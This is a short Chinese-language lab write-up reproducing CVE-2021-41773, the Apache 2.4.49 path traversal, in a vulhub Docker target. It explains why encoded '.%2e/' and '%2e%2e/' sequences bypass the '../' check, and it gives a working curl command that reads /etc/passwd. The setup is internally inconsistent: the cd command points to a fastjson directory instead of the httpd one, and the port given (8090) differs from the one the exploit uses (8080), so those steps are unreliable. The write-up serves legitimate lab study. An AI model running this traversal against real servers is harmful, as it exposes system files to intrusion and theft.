1.准备:
1.1复现环境
漏洞环境:vulnhub靶场
工具准备:cmd或shell即可
1.2环境启动
进入vulnhub目录下的httpd目录,进入CVE-2021-41773目录
cd /home/hbesljx/vulhub/fastjson/1.2.24-rce
docker-compoe启动漏洞环境
docker-compose up -d
访问靶机的8090端口。出现如下即为开启成功!
2.概念说明
Apache是什么
Apache是世界使用排名第一的Web服务器软件。
3.漏洞原理
在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path
函数会对路径参数先进行 url 解码,然后判断是否存在 ../
的路径穿越符。
当读取到一个%时,若其后两个字符为十六进制,会将其后两个字符进行url解码。
路径中可能有以下三种情况:
(1)%2e./ 此时%2e解码为.得到../被检测到存在../
(2).%2e/ 此时%2e解码为.继续判断后面为.没有检测到存在../
(3)%2e%2e/ 解码为../但检测指针已经移到了/,故也没有检测到存在../
因此我们可以使用(2)(3)两种方法进行目录穿越。
4.漏洞复现
curl -v --path-as-is http://192.168.133.140:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
即可成功绕过对../的检测,访问到网站目录外的目录。